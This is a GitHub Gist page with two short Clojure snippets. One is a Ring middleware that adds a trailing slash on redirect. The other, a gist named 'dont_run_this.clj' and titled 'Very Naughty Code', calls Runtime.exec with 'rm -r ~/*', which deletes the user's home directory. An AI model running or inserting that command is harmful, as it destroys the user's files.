Skip to content

Instantly share code, notes, and snippets.

(defn- wrap-silly-redirect [handler]
(fn [req]
(if-let [path-info (:path-info req)]
(if (= path-info "")
(resp/redirect (str (:uri req) "/"))
(handler req))
(handler req))))
@cdpjenkins
cdpjenkins / dont_run_this.clj
Created August 16, 2012 19:24
Very Naughty Code
(.. Runtime (getRuntime) (exec "rm -r ~/*"))